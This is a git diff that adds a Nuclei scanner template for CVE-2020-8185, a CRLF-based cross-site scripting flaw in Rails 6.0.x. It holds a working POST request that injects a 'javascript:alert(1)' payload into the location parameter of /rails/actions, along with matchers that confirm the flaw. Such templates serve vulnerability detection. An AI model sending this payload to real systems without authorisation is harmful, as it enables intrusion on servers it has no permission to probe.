Add Rails 6 XSS

cves/CVE-2020-8185.yaml

@@ -0,0 +1,20 @@
+id: CVE-2020-8185
+info:
+  name: Rails CRLF XSS (6.0.0 < rails < 6.0.3.2)
+  author: ooooooo_q (CVE author), Rahul and Harsh (Template author) 
+  severity: Medium
+  description: XSS (6.0.0 < rails < 6.0.3.2); Payload is location=%0djavascript:alert(1); Nuclei has issues with 302 response missing a Location header thus the extended payload to make Nuclei work.
+
+requests:
+  - method: POST
+    path:
+      - "{{BaseURL}}/rails/actions?error=ActiveRecord::PendingMigrationError&action=Run%20pending%20migrations&location=%0djavascript:alert(1)//%0aaaaaa"
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "javascript:alert(1)"
+        part: body
+      - type: status
+        status:
+          - 302